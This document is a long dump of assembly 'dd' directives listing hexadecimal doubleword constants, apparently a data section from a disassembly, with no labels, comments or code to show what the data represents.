dd 1626E046h, 7FE0B8E1h, 0FBCAAh, 0E9F1BF2Ah, 3E74248h
dd 0A0C6722Ch, 47960108h, 142CDAD2h, 1AB0FC0Ah, 6C00DCF7h
dd 9A0B2C9Fh, 48BF9460h, 0C510A4A8h, 342B007Bh, 3BDAED77h
dd 0E63A12C8h, 24FCB382h, 0F110D0DFh, 0D38C46C8h, 0E6910h
dd 0F116B5D1h, 15EF8140h, 0C8429907h, 0F29EF2AAh, 0B1D0E8DCh
dd 6D8538A4h, 0C82CC4ECh, 5F1DA748h, 0F807B5Ch, 389CAB2Dh
dd 4AB470C0h, 7494C8A3h, 0B695D001h, 5F62FA6Bh, 944AE2DCh
dd 0C5FF16E8h, 28F08C64h, 0BA06F70Eh, 0E641004Bh, 1DAA0525h
dd 33C88h, 2A599862h, 7C1E61DDh, 0B34C7BEBh, 86E9F8D8h
dd 0F4010AF7h, 0E6248EC2h, 4AA1202Ch, 69324102h, 60B3EEBBh
dd 0BED44810h, 8B64C19Ch, 0B460C671h, 0CE1FF673h, 6BD6071Ch
dd 90A374E4h, 415496B0h, 2F2D16E9h, 0BF70F441h, 6C288B7Bh
dd 5896E521h, 7D5CE7h, 0E816870Dh, 0B01FA5D8h, 0A6D0F51Eh
dd 65A01A84h, 948D0483h, 41801CADh, 2BDB45D7h, 8A5C531Dh
dd 51000B57h, 315FF5E7h, 683F1364h, 32541215h, 5460A9C0h
dd 2C497891h, 90862180h, 0E56E8BE5h, 0AAAB030Ch, 8FB9D07Fh
dd 4C9470CCh, 0FBE4B741h, 89A8B1DCh, 68D10356h, 26CC750Fh
dd 4370B72Bh, 94C42792h, 0CF3600F8h, 0A8A6AA2Ch, 0D34A2963h
dd 6FD2FCD0h, 5B503FE5h, 822E7692h, 0F12EA780h, 3F704A03h
dd 0EF99B315h, 9ABECC0h, 0A6906378h, 3D0077F2h, 0CE583314h
dd 3AAED84Bh, 0BD300DE1h, 0A74FE510h, 840A103Eh, 8A59123Dh
dd 32A934A0h, 28B11BAAh, 0C2002C52h, 780D0886h, 943D05h
dd 0C5A755F2h, 0C7C106E8h, 82519201h, 0F7171D23h, 0CF8BD82Ch
dd 0F3C05030h, 77F74180h, 26D70163h, 0D9B06831h, 96D9892Fh
dd 7D4F207h, 0E783180Bh, 0F4C95064h, 0EF5B98A3h, 0E02BBA8h
dd 4003DEA0h, 326AF0A4h, 89B0F11Eh, 0C0A4EF06h, 7FFA400Eh
dd 2AE01A0Bh, 4C446401h, 0C09F7C2Bh, 97210A3Dh, 0B703EA5Dh
dd 0E994E46Fh, 5482D55Fh, 142019CAh, 611EA8A2h, 67E6006Dh
dd 21FC1728h, 5CBA2F7Fh, 62CE9444h, 2D7FF152h, 0B14307D5h
dd 0D0033DC5h, 0CF6FA5D2h, 0C604180h, 0FB2D13C7h, 0D948E0EDh
dd 661B0607h, 644088F3h, 275D2BB0h, 2C16CDD2h, 326B1845h
dd 6C433128h, 0D90015EAh
dd 307C33F5h, 4980FE36h, 0EF045A9Eh, 7A672A12h, 279AC8Ch
dd 2334623Ch, 90F87E17h, 152EF481h, 0E615DC30h, 7B86FA5Ah
dd 4ABB0006h, 3EF14767h, 0D6FC58B8h, 82BD7F25h, 7C8B2C44h
dd 2F0DC04Ch, 8A00FC19h, 9A8F1D42h, 24BD128Eh, 69C0E31Bh
dd 1107F091h, 4181F128h, 0E4EC6062h, 3B4D309Ah, 19E7B0C9h
dd 0F011334Ch, 0C848782Ch, 8DCA6D5h, 0C4B82052h, 5D9201EBh
dd 0B0572E41h, 0A2BDF8ECh, 0C6CCF26h, 8DE0C15Ah, 1614223Fh
dd 0E0149B12h, 31FFE77h, 19F04431h, 929441BDh, 0B3192268h
dd 8004E814h, 0DB2C0B70h, 0C6D600FFh, 763BAF40h, 5B253F1Ch
dd 0ABC00153h, 0FE094F93h, 0E698A922h, 7C704388h, 9D920B84h
dd 0D4442D0Ch, 0E279E964h, 0BC04E481h, 0C4DEF510h, 0A79DF100h
dd 0CF095768h, 3926FA4Bh, 50F04EC9h, 120BA936h, 44AAFACCh
dd 22098954h, 736231Dh, 0D47681DEh, 11031200h, 509E78E7h
dd 0DADE07A7h, 313630AEh, 28DB6DDCh, 0CE3B0888h, 44C6446Ah
dd 7C8930F0h, 12891891h, 0C8F222E3h, 11FD8078h, 0EF104682h
dd 0B86BBB70h, 0A2171208h, 877444EEh, 3AFF478Ch, 972077F7h
dd 4FE3F3AAh, 2D382838h, 613183E7h, 0F1C8AF92h, 2AE1B33Eh
dd 0A87C58F9h, 8B94EB10h, 84887931h, 0A2F5015Ah, 1DD5033Ch
dd 8012087Bh, 1E78FCE6h, 7AAE866h, 20542FCEh, 0B349740Ch
dd 40D4EEE1h, 3ECA1701h, 0C3609447h, 4134949Fh, 7293D5F0h
dd 6BEC09D4h, 0A540804Bh, 185A9FEh, 0D4C71013h, 60AF9CC5h
dd 4286E1F0h, 14935A69h, 0B8BFFB46h, 0D92E6Fh, 67C1197Ch
dd 48F9F64Eh, 0C522CF0Bh, 2C6408h, 27C30172h, 1CAEBA9Ah
dd 8584F00h, 0DB026240h, 0CF790857h, 0E108037Ah, 52B0189h
dd 7D1AB32Ah, 0CE36C0D0h, 4D09529h, 0C260D76Bh, 2978B8BBh
dd 0CC97B0C3h, 333D9CB7h, 0F950E981h, 30B6D808h, 0EC44F848h
dd 1B9788D9h, 0F0FBDB00h, 171E8A08h, 368501DAh, 0E7D03024h
dd 7C7CE20Bh, 993CA690h, 3629E500h, 0BE67C77Dh, 1AAB9EC0h
dd 95E91D1Eh, 31026004h, 912121Fh, 34141D20h, 20471F58h
dd 0A7F34027h, 0A2375AB4h, 80D22E0Dh, 7C23A8CEh, 81442400h
dd 3548F615h, 391C802Dh, 0FE019E24h, 44C2091Ah, 54934294h
dd 0F04E6CF4h, 929B2848h, 3D742CAAh, 2110E148h, 285691B1h
dd 6520E0C7h, 2BCCA1B2h, 93D0A815h, 97509701h, 0CB5C7Ah
dd 0C1213B60h, 0C35BC7EEh, 0A110E90Ah, 0A203B597h, 0B8E8ED27h
dd 30A7C4F7h, 0CE28CA61h, 0A80A1311h, 64951043h, 960BA81h
dd 0AC387C67h, 0FC5A8D89h, 76239D00h, 63BDC35h, 0D8AFFB6Dh
dd 0A45C0064h, 26B0059h, 67ED80BFh, 0CC244CE3h, 0D989EB88h
dd 0F7A49093h, 0CAEA13B5h, 0B29C16CCh, 88AEC314h, 685DF865h
dd 6A30CE8h, 0B0788FA9h, 2670014Ch, 148494D9h, 215F0EBDh
dd 8034CE09h, 6DFBC00Dh, 20849A9Eh, 9B4DCF1Bh, 88E29724h
dd 7EBC4C00h, 3626589h, 0E672A100h, 51AA3B9Eh, 0EF610EA9h
dd 821DB071h, 0A13C46A0h, 176F84C0h, 23D7816h, 4EC48CB0h
dd 0F814C7CFh, 27C11F9Eh, 4825833Ch, 80987CF2h, 0EE3EB280h
dd 0D11ED546h, 0C0CC28B4h, 2075D8C7h, 6721090Ah, 0FC442F89h
dd 3CA73F07h, 4DA02004h, 5ED9F446h, 40F8882Ch, 51482964h
dd 10816621h, 8810D5A9h, 0A04C6DD9h, 0A4933E84h, 0A6043C0Bh
dd 2D4B14CEh, 77949CD1h, 2490781Ch, 2A3CAF0Ah, 8A11A8A3h
dd 203B5B78h, 296373FCh, 0F1F8B102h, 41136115h, 6181B0A8h
dd 0E5A00AAFh, 84184307h, 0C22C7290h, 2AF40956h, 885F6481h
dd 0A28BC070h, 49420060h, 8872C39Ch, 93007004h, 6AD2F3E0h
dd 0F7C83Ah, 0A68FAAFCh, 0DF12172Eh, 2614D01Ah, 3C71B8h
dd 5BB22338h, 6B2E5764h, 120834B9h, 40CE44CFh, 557C49D9h
dd 0AA02099Fh, 0DCD22CAEh, 46ADF00h, 0C5CDBDEBh, 491E645h
dd 876EC957h, 606C80C3h, 0E00BD8A7h, 9029C536h, 0EEE2658h
dd 84D7AB1Bh, 3EC248CFh, 5C642CC1h, 0C6A4F21Dh, 0AAC20BC0h
dd 20D3295Ch, 0AF4E5D34h, 0C825C821h, 0E8A759FCh, 54F001C3h
dd 0D661CF8Bh, 0A26C3038h, 8C2A1742h, 873B0CE8h, 0A9991965h
dd 0E103AA1Ah, 9CF9E9h, 0BC700881h, 7100C891h, 7458B679h
dd 16FAED83h, 3057263Eh, 8B476CC4h, 0A2353Eh, 77C78034h
dd 0CE6A36h, 0A7E28362h, 0B4B11D45h, 0C1B9314h, 0C43B29E4h
dd 0C0E07280h, 27987313h, 0FC44D2F4h, 53A44100h, 0AEA29E92h
dd 5D810095h, 7D666DCCh, 830794B9h, 2BDABCA3h, 5AD0789Bh
dd 283C881Bh, 13F42097h, 443545h, 31381A7Dh, 6EC3B932h
dd 0FEB7F802h, 4226F791h, 0CE8090DBh, 0E0870382h, 0D72B4561h
dd 939AA1F0h, 0EB7D8500h, 921BB68Eh, 11EFA38h, 3C9089F0h
dd 73F18610h, 287D0058h, 50A8A67Fh, 69AD0429h, 0CD606609h
dd 123036BCh, 0CC04372Dh, 5220DDDh, 94388429h, 112B4C54h
dd 1D710070h, 0D63B248h, 0E90CB400h, 0F478F641h, 0B727B83h
dd 0E1D65BB8h, 9100BCD0h, 0D755F2D4h, 37DEF7h, 0CE3480EAh
dd 23966440h, 0CC8BB302h, 0D60A0B1Ah, 0D0D392F8h, 8A808D0Ch
dd 1C146802h, 57FA0773h, 87100401h, 242FEEh, 8E13181Fh
dd 30E31820h, 0E83F26A2h, 0A57188E4h, 270C1849h, 0F3120F18h
dd 0A0C16FCBh, 0E0712682h, 5C0460B2h, 0E660806h, 1C7BC749h
dd 0FAACC801h, 4B6BB26Dh, 3FD062E8h, 2D20F200h, 0A3E3689Bh
dd 0BFA5Bh, 0C6BD1088h, 22819443h, 1D13353Fh, 0BA0034FBh
dd 8AEFB0B5h, 0E1450284h, 0D1D6668h, 20328DE1h, 0D6B8FE51h
dd 0C493B28h, 36D03A1Eh, 31303B9h, 0BB6070F0h, 0BB1001E4h
dd 3B269B35h, 236180FFh, 0F48F5C79h, 7D110CECh, 2418667Ch
dd 83924618h, 9A5A91h, 96BF3DB1h, 0D95BBB9Bh, 3423370Ch
dd 7DBA58DAh, 0F39803C4h, 88CDE31Eh, 0FE6A3001h, 0FD269374h
dd 6D7101C7h, 75A3B84Dh, 16CDE02Bh, 1E514F44h, 0C04A21C4h
dd 5A8F0FB7h, 42FCB48Bh, 2D4721DEh, 34D14946h, 78804F2Fh
dd 6CDCDA0Ch, 560E9F69h, 0A37AB570h, 3F9E20Ah, 233D2471h
dd 117AEFFFh, 47194D60h, 0FD1776h, 9C482F05h, 2B07AD39h
dd 0F1784E61h, 3501FBCAh, 370EC026h, 804741C8h, 0EC28418Ch
dd 0DC7833E0h, 5300DF90h, 2FACF02Eh, 0C88342CEh, 4E8043C0h
dd 4C412D37h, 527373h, 0A8DD77Ah, 0D2137B1Ch, 0CD000B7Eh
dd 0FA373F40h, 0C22ED0F4h, 9FA32781h, 0C7C0B4AEh, 0E78C6D7Ch
dd 175A110Ch, 3BDC614Ah, 0B60082DBh, 0D35FB456h, 7E527D62h
dd 20941884h, 6A924560h, 113458F5h, 0D10078FAh, 8B7AB31Eh
dd 286B01F1h, 30A42E3Fh, 0A7892F2Bh, 563E1562h, 901603EFh
dd 0E0104A5Eh, 39CB46BCh, 0EAF7D123h, 9670084h, 72CE11EFh
dd 320C26D7h, 801B4E52h, 37B7153Bh, 2302B4E3h, 0F9C794CBh
dd 81A74043h, 25755093h, 7B1C43Ch, 94FA6D0Fh, 148CA3C9h
dd 48CEB245h, 24A95A90h, 409C500Fh, 0B6965119h, 0E279EE00h
dd 7C36C902h, 0C0FCEA26h, 9291C1E9h, 646AE30Fh, 9F0C7480h
dd 0FCE51E6h, 0C598B09Bh, 0E4AAFEE0h, 810F849Eh, 80062226h
dd 3E40A4D4h, 0C51A003Ah, 835E9C93h, 7300C7ABh, 2770BD2Ch
dd 0C0AA50EAh, 0A9080F91h, 9E008637h, 0FAB8A7AEh, 3B2541Ah
dd 22F047BDh, 980088C6h, 3BFF8073h, 9170F8h, 0BB820489h
dd 0FB817A5Fh, 942B6B05h, 7407A84Bh, 602FE08Ch, 388D6FBBh
dd 1C9090BEh, 8628DDh, 63B19BCAh, 0F407A442h, 0FDF572F6h
dd 0A8CB5B73h, 0FFA994Eh
dd 3B9F9891h, 0FF887980h, 6300B92Ch, 1EF86724h, 0B36697h
dd 0B719A954h, 59A09ECBh, 71CB649h, 0BBC1045Fh, 1103EF9Ah
dd 989EA8B2h, 9248176Ch, 0A082B028h, 1C20850h, 0D7950C40h
dd 20E7AB35h, 0C8A8B568h, 1500F3C4h, 0B359D82Ch, 492E9F5Ah
dd 3A1D382Ah, 9EB2C3FFh, 0EB88C934h, 913EC09Bh, 48204B8h
dd 5087DD4Ah, 0FE58018h, 0BB4E6E8Bh, 6F33C905h, 48037F7Dh
dd 7CB49346h, 817B6FC1h, 0F0069589h, 9A1411F8h, 189827F7h
dd 265911CBh, 209139h, 907CC59Bh, 9898E525h, 131A222h
dd 2E3AB839h, 8901B1DCh, 98E9166Eh, 9B09A70h, 2AC1C9F2h
dd 0FDCFF002h, 0A0825022h, 151821ECh, 8EDB0228h, 0EFA37F63h
dd 0C9F1FC48h, 0B33180FBh, 44CF715Bh, 4E5C00B4h, 0A716D314h
dd 240CCD19h, 51A5AB45h, 5C0F4DA3h, 9BC8207h, 0CD25702Ah
dd 0D600A505h, 79FE7CF0h, 0F4D104C8h, 742F10A9h, 0B2F11433h
dd 7DB382ACh, 0D9246671h, 1018C0D8h, 90628144h, 0FC9122CCh
dd 3FF89A04h, 50C816FBh, 76B1ECF4h, 22DB000Dh, 5BD648AEh
dd 95889717h, 78FA0098h, 9F58CB34h, 77118396h, 0B91E4417h
dd 0E007C03Eh, 76B6F0DCh, 803FFC3Dh, 0A595BE92h, 65E291h
dd 43F77C94h, 3BE693E4h, 13843D00h, 6EB1DD44h, 74610051h
dd 95190373h, 0B824F018h, 0C7403829h, 1BF320h, 6E87314Dh
dd 41174782h, 302CE9C6h, 0D7230029h, 0D9265765h, 9CA03DB0h
dd 8C09C6C5h, 243527B4h, 9540693Ch, 0C79F6381h, 0C674844Ch
dd 214C16h, 0A6310FC2h, 8F42C04Ah, 5E3D2B14h, 0C0502CA4h
dd 0E8D94140h, 0E27501B3h, 0A9491527h, 3B0022C5h, 4D29E050h
dd 460B7Fh, 0EE52A86Fh, 7E64871Fh, 6C2B7200h, 0E8FAF2C9h
dd 9474B1B0h, 1780D013h, 1D2575C3h, 5A31D801h, 7ECE2991h
dd 0E7C40321h, 0CB100693h, 11BDFCCDh, 0C5EB1802h, 0C00FE139h
dd 6F5F96h, 0B7B33F7Fh, 0BF98B151h, 4860EA00h, 650F7DA4h
dd 45CE3EA6h, 0D2CBC700h, 5D73EE6h, 0C0A3AD00h, 0EDF4952Ah
dd 8AF80084h, 3FD4267Fh, 100A5535h, 80E7EBCh, 0EF9C9806h
dd 80809929h, 53F7E59Bh, 4400EA04h, 0C92F9CB5h, 48269457h
dd 9A82E003h, 3C406DC7h, 98921C1Fh, 41BB943Ah, 41975834h
dd 0FE5C6033h, 942788h, 0C1473BB1h, 21255B24h, 6C3A232Eh
dd 44C7F142h, 651B1388h, 90E8007Fh, 72F04AC1h, 0DDF9CF0Eh
dd 808A0969h, 173EC689h, 1674B937h, 5B840427h, 0A8D203F7h
dd 0FEB093CDh, 0F6F52288h, 5643C403h, 0E8F799C5h, 30AE9F51h
dd 0B0E05C08h, 3909D88Eh, 428FC7D0h, 26286100h, 6444FFF9h
dd 9F988Ch, 94C8C643h, 0ACC7FE09h, 0E678BF17h, 0A0642C00h
dd 30DF6808h, 80312D29h, 0D5025683h, 44A12E82h, 3848267h
dd 0C0C44Dh, 0A93F00Bh, 0D4846E57h, 0D63CE16h, 6290F81Fh
dd 2C29C40Dh, 0A2C8E051h, 0AC5C0A0Eh, 0CF152077h, 78B8F5A1h
dd 82E4864h, 7BB9F730h, 0AE881426h, 8AD80086h, 39D0B6B0h
dd 1F1603E5h, 502058B3h, 9250173Bh, 37CE030Ch, 0E7C9C696h
dd 0FEABF3A3h, 0A850492Ch, 0BC434940h, 75E84Eh, 76910E5Eh
dd 2A8E04AEh, 0F5216500h, 2B94C947h, 0C6CB806h, 99A693C7h
dd 1F1FCC48h, 29982696h, 0E091D859h, 501D078Fh, 5072B4DBh
dd 0FFA1126Eh, 7C1223ECh, 2840F9DCh, 3A992745h, 0B5020F21h
dd 93834ECDh, 20EF5EC7h, 0B09D9ED1h, 0B1CAF700h, 82629617h
dd 0C6863C88h, 0CDFA5509h, 9C6FBF00h, 81C72429h, 0F810C277h
dd 8CBC4Fh, 5227C11Eh, 0B19A54DAh, 0BAD2F617h, 5B203207h
dd 7EAA84D0h, 0A45FFADEh, 1FD301A0h, 0EF9FAC69h, 70E470EEh
dd 0BAC4F713h, 0A0023813h, 2918107Eh, 0E3E8541Bh, 73005D3Eh
dd 160CD171h, 12AA9320h, 435E5737h, 0A43DB100h, 54E147C0h
dd 79057F01h, 94679EEDh, 442CFCE9h, 845D7410h, 0A344AB9Fh
dd 40890F1h, 0A500AED4h, 0BC9E9D0Ah, 1A07452Bh, 394916EEh
dd 0D3373080h, 2F09AD10h, 843B6B93h, 8882F1D9h, 1B5C5A9Bh
dd 0F9B79143h, 0C903Bh, 0B8AD6F40h, 4A2B7B01h, 28840823h
dd 0E7527680h, 0C2956Eh, 0E1DF6750h, 423CF1EFh, 1F28EB02h
dd 6936AB37h, 0F2104FB0h, 4D033F58h, 3337B0C0h, 0EC204C32h
dd 2268877h, 0C0A6C894h, 50246420h, 7D8BE004h, 461C1070h
dd 0B9B86BAEh, 0E2E49C0Eh, 204D454h, 809843E8h, 0C10BE05Ah
dd 98012699h, 0E58164h, 0F982E810h, 0FF92EDACh, 9EC6B601h
dd 58B88604h, 7C2DA3F1h, 57025E00h, 55E78D61h, 47CEF807h
dd 1F47D060h, 94A36AF0h, 6264003Eh, 0E548E0ADh, 3C00363Bh
dd 7EF42E7Fh, 751E8FE8h, 18261CE4h, 9F59DCEh, 3099C1CAh
dd 0F9DFD098h, 1E428F00h, 0CA654711h, 7D1620F8h, 0C1C5B002h
dd 0E16D1B49h, 0C81524D0h, 0BD38EEB8h, 261B80C5h, 9686AFABh
dd 1907EA7Dh, 0A0A61CACh, 34A05033h, 9C256C43h, 6D209096h
dd 0D77B0028h, 3CB9F476h, 9325EE4Ah, 0A51C204Bh, 0E4DFACh
dd 0B896F806h, 90CF775Bh, 4D4A44Ch, 2B1B05B3h, 9F0060A2h
dd 0D915398Bh, 5A3CB232h, 94318406h, 0AC81D027h, 0B0500DA3h
dd 9D80E6Eh, 0FC64254Ah, 0ED3C1A00h, 991DC904h, 0CFD2CB9Ch
dd 61C036h, 22183AB3h, 38E31B67h, 965B140Fh, 0E1098176h
dd 0A42D4B81h, 216BAF03h, 95E0F738h, 189073B6h, 509C51F9h
dd 0BC2980A6h, 884C1FF3h, 97420071h, 0B1D1A8Ch, 0DF004F18h
dd 57A3B2F5h, 647C7DA8h, 882C895Fh, 0ED4CD68Ch, 0C6660F65h
dd 26FE80C1h, 0A0649239h, 27D00BBFh, 4C90D6A5h, 0FC4C2027h
dd 0BD017984h, 8ACDB8EEh, 0B820F3F7h, 2427F638h, 88947AAFh
dd 448918C6h, 2ECC3103h, 48F54210h, 0FE5FC601h, 0B86CCF76h
dd 81B39843h, 74349311h, 0D9B03A9Fh, 0B28B1F9h, 3410F998h
dd 0FF1F5879h, 81042B6Eh, 8CF4FDBFh, 0A94F8443h, 7B1D428h
dd 1EF885C3h, 8807C521h, 452E2778h, 936330AEh, 0CCB12C1Ch
dd 90151248h, 0FABCD370h, 0D5A56000h, 0C47F76DCh, 58E7088h
dd 33B9C5CBh, 21408981h, 2C480290h, 5100A8C4h, 30680B09h
dd 3D678Ch, 0C585D04h, 0F2A037A9h, 18B48900h, 9A5A6835h
dd 0AB5517F9h, 0FFE40426h, 4E58C8AAh, 38794D88h, 728574BFh
dd 25F5A8D3h, 0F3A882A8h, 4820532Eh, 1CEEC71h, 0A4E4CD9Bh
dd 6284C911h, 20C70020h, 6B0127F0h, 0DCFD54E3h, 0F1B58826h
dd 0C5B71B01h, 0D4663D8Bh, 22E3CC0h, 9451A905h, 0B8A07F4Bh
dd 5CC077EDh, 0B0010C98h, 68709930h, 0E430C9EAh, 47B945A6h
dd 69B8C08Ch, 800F659h, 32F3F4FEh, 117BB4h, 977043CAh
dd 8B48A198h, 3D80AA00h, 646A1431h, 2C7394h, 0B16D65AFh
dd 0DA583422h, 0CE6FF700h, 1452A298h, 73B23D3Eh, 0D250B780h
dd 0FD59B7Eh, 0C203C003h, 8D7DC72Ah, 0B0954488h, 0AA1107F4h
dd 625451h, 0F43F5B45h, 3CA31424h, 4098C942h, 42993FFh
dd 4C21CA3Bh, 7858C0E8h, 0EC007CD7h, 7F6C48C9h, 525313h
dd 0FBD8A428h, 0C3985116h, 3D588E18h, 1F1CF378h, 4CC68Dh
dd 12B6F9FBh, 0C3FFDA8h, 4D7196BDh, 0A0BBAC32h, 0CFF0C798h
dd 548B2564h, 690812E1h, 452278h, 38D94B2Dh, 3A1FB211h
dd 1F20B48h, 1AC9544Ch, 1023C5A9h, 441C372Ch, 0E8E2C4h
dd 907221ACh, 872DE5h, 0C3FB5582h, 0F99E9291h, 9D4CB5Ch
dd 46263473h, 5D042ACh, 0CAF4DF44h, 48D80850h, 800538FAh
dd 1D97403Ch, 0A6085Ch, 2B849E9h, 7533F1E1h, 984DBA00h
dd 0E2793571h, 0CB310203h
dd 9EB8CEB9h, 63F05361h, 0F91122BCh, 1298C4EAh, 8488FF73h
dd 1450F2C8h, 2FB063Fh, 928F6EDBh, 602858D2h, 665A3915h
dd 0EF008984h, 8C9891BCh, 0F0391743h, 0C0CF7BF4h, 2B65B369h
dd 6737B895h, 0A0C07163h, 5CBFB4A6h, 0F825F13Eh, 91EC8410h
dd 189B7A02h, 810E7C9Ch, 0F55ABC08h, 647061C5h, 0D652122Dh
dd 0BC4099Eh, 0F3A31CA3h, 0F7B74900h, 27E81918h, 0C9BC0091h
dd 8199AE33h, 0E72D5045h, 0C7FCA040h, 43F011Dh, 0F0FA5893h
dd 20108494h, 0B043CB8Ch, 2C2CC9DEh, 0E7944F03h, 0E6118AEEh
dd 26CA7F20h, 330DA2h, 255308E3h, 0F000E469h, 0B4CB8393h
dd 0E6397063h, 10294C8Bh, 36263304h, 2574D707h, 4A8C404Bh
dd 2B65C45h, 0EB28B070h, 5608ACEEh, 11E08DEAh, 0C0EC4C55h
dd 268EED89h, 15DFE56h, 490EAFA8h, 2D676BE4h, 6CCC1414h
dd 0B92603F3h, 185E7B7Dh, 51252C19h, 0AC00167Eh, 0CAD15D9Fh
dd 11C1B1Ah, 0BAB88154h, 0C422FD3Fh, 738058B9h, 12FF0050h
dd 4D2E319Eh, 277E8E3Dh, 6396D8F5h, 0C02ABA13h, 0A9880030h
dd 0C77B06h, 2C762411h, 0C465E82Fh, 7F1460F5h, 7D141002h
dd 7B13477Eh, 6C800048h, 0E560962Bh, 0E1FB2Dh, 0F39838DCh
dd 0E8920006h, 6140DA07h, 36393ACCh, 622B8151h, 29C4A2ABh
dd 93087040h, 18B3007Dh, 80C25763h, 0A207BFFDh, 0C4812D77h
dd 36C9A361h, 30000C37h, 74C0F21Ch, 1000EE0Dh, 608BFD36h
dd 3905B5D7h, 0FBF53EEFh, 44F523D0h, 0CE78F109h, 9F00D4A5h
dd 9091D2EEh, 608700BEh, 88082710h, 0D73EFE2h, 0C8F40438h
dd 0A43FEDh, 0B7123AC4h, 5CC5CA13h, 8C800429h, 0F08634FEh
dd 0C90A0E7Dh, 0F43A3B31h, 5A49B442h, 0E7F50974h, 94C1C762h
dd 0E3402020h, 733A2D43h, 0B000C440h, 0F512CA59h, 0E948B1h
dd 9468B864h, 0F45063Ah, 0D8589D07h, 0EA77B3F9h, 3B9E6EA0h
dd 0D98F0E16h, 5522B1C9h, 0C408847h, 2FF44C03h, 107D9617h
dd 0CEB34420h, 0B50B30A8h, 0DD980C88h, 7234F920h, 0B1F180C7h
dd 44B349Eh, 2F225C04h, 432A1520h, 9C470B8Dh, 4500A5C7h
dd 0A6817EBDh, 0C8003398h, 7CC5A2D9h, 0B8E635ADh, 4D702228h
dd 5BB39512h, 0E066FC09h, 44A2B874h, 5771E8F2h, 8D51D20Fh
dd 16D760FEh, 4AD670Ch, 3B3A4FFFh, 7F408031h, 9FF23809h
dd 2AD6B603h, 3ED1D0F5h, 5CDB26A1h, 0D0A1AD4Ch, 0FC28E677h
dd 54070D40h, 9810DED6h, 30A13D35h, 7B00D068h, 0C2610725h
dd 9D141856h, 24080D7Ch, 7026DCBCh, 3216D270h, 91191540h
dd 5C3C7018h, 0DC21F0E8h, 0D830A617h, 82A123h, 0E8314BBFh
dd 326CF606h, 1C747203h, 9DF4D3C7h, 94B3C0C8h, 46864008h
dd 0E374A47Eh, 28E0B832h, 0B450242Ah, 0F0078428h, 7ACDCA58h
dd 0B09604C3h, 0FDB65FCFh, 0A0002072h, 7CBB8B0h, 405EF39Bh
dd 2B57B604h, 3EA6DC88h, 0A1002A13h, 0EB6DDCB8h, 0AB00181Fh
dd 0CC80C509h, 95145A82h, 35DDA423h, 0F158AFE8h, 48275000h
dd 4CEF6D90h, 145E1D34h, 3F3BC0ABh, 0DD715435h, 52819802h
dd 9134299Fh, 286901E0h, 1FC92C02h, 0B445C896h, 0B651B200h
dd 0BFF8079h, 4B969C6Eh, 69B174C8h, 933AD300h, 73C106A7h
dd 0B51038A9h, 8D0E2C3Dh, 16E07BD2h, 8BCFF2A3h, 0F4373CA0h
dd 98AD0CB9h, 2B19C88h, 766C9B4Eh, 3CC4A203h, 0AE52360Eh
dd 0FA0A235Ah, 0BCC085E0h, 7559A193h, 34B20007h, 0B5453B83h
dd 0DB1257BBh, 0C02CB89Ch, 0CF2F84B7h, 8C1629h, 0DBDD66B4h
dd 735BC25Dh, 9223D73Ah, 0B0C84E51h, 0DC74B2h, 27D80BB6h
dd 551D9F61h, 0BBC0C13Fh, 0DB1201DEh, 40CD629Eh, 4FFFB460h
dd 980828F9h, 31EBD00h, 849F5F23h, 0C0F40CABh, 18211FF7h
dd 8173D11Dh, 0CCF570C4h, 0AC608CC9h, 382788FFh, 4420B74Fh
dd 904F23h, 0C8D7A55h, 0BFB0DBD0h, 724633Eh, 0A2989A1Dh
dd 0F0DCE3C3h, 179BCEEEh, 0C8C85E43h, 63007070h, 0B882817Bh
dd 0B268AE22h, 5C7A9884h, 0D3806011h, 175AC71Eh, 0A0396060h
dd 0B967ABh, 65B87ACAh, 0B3775280h, 0EAF9DF00h, 66F1E45Bh
dd 8A910AACh, 80EC0CA3h, 0D174493Fh, 620035B1h, 10479C9Eh
dd 58653F9h, 0E76A8DF7h, 59A8C344h, 0BD437F0h, 0B21AB8C0h
dd 1FEE59Dh, 0D00127A6h, 62F69862h, 0B84CC4h, 0E24A3A6Dh
dd 4BFDA3B8h, 4D548239h, 5BF90920h, 2551F836h, 0C1276D5h
dd 0ED317C49h, 0FBBC4201h, 0D0642Bh, 703BD1AEh, 7D0FF32Ch
dd 0B00D7200h, 0C20176E4h, 6632B842h, 91F578B7h, 0F3F72100h
dd 0F4B9C7E7h, 0A69324BDh, 1FCC96FCh, 34C89520h, 5F9097C0h
dd 3D001532h, 52D67540h, 54F2D3h, 561496A0h, 0BACB4F4Dh
dd 4C6CA448h, 395B2124h, 895FB944h, 0A30156FCh, 8D7D6C1Ch
dd 9AFD4028h, 7B0492B0h, 0CA153399h, 37C65081h, 23FE2611h
dd 2D0215Ch, 56830716h, 0E8C63842h, 0AE502C0Eh, 5FB1019Bh
dd 0B02FC7FEh, 4C926C76h, 0CD74949Ah, 484C384Ch, 1158C830h
dd 1B9B0048h, 0ACC79F6Ch, 9054E77h, 597B94h, 9254E60h
dd 8C1D00FBh, 1B19BF8Bh, 0E518175Dh, 0A3180AA2h, 20B0E522h
dd 2713F411h, 0FCA6E222h, 415F0031h, 19B7DDC0h, 0FE638A9Dh
dd 0A8D4CA31h, 0CF51CA0h, 4BC6AAA4h, 31006849h, 0A69C3B48h
dd 98328Eh, 831ECD02h, 11B6F894h, 59A8BF01h, 0F9048FD2h
dd 454D2840h, 7C6F1F3Bh, 19E61801h, 75FC1073h, 3BAB501h
dd 6536C662h, 47D6880h, 7AB27BD4h, 7EE96E60h, 7120F169h
dd 8B98003Dh, 2305F84Ah, 22003648h, 0EABBA841h, 1F48C04h
dd 5EA66B84h, 8342D434h, 93D1EC40h, 50BAB4Eh, 7C5EAA51h
dd 0B0544302h, 72F10D2Bh, 7E8058D2h, 5906A2F8h, 637A62E1h
dd 0EFB30041h, 0B7A57C27h, 906ADF3h, 8B13423h, 1EDC0F20h
dd 0E1605CF4h, 4C7EEB06h, 323B1403h, 0E8A876DDh, 337C519Fh
dd 0C6DA3C8Bh, 0CCE36FE0h, 0DE3FC390h, 3D100353h, 0B8A22223h
dd 20E672Dh, 6C59EC24h, 94908C18h, 7C00ACD6h, 9DB7D819h
dd 2A5B5F3Bh, 3F49935h, 0C91E3F85h, 0CE83A5Eh, 4CE2C3ECh
dd 80741DCh, 0DB30EFD9h, 7341B8C7h, 7D6900BCh, 3BF2222Bh
dd 8D00B2E9h, 338C0190h, 249CF68Fh, 21264E1Fh, 66000A4h
dd 7CF5D605h, 8273C0A1h, 98EC368Eh, 7B544816h, 0F231C05Ah
dd 778A49C6h, 0FF871502h, 5728C4A2h, 21675060h, 0C8F552h
dd 8BC01966h, 0F1A39F7h, 0EC916EB0h, 0F5D3C100h, 243C1FDBh
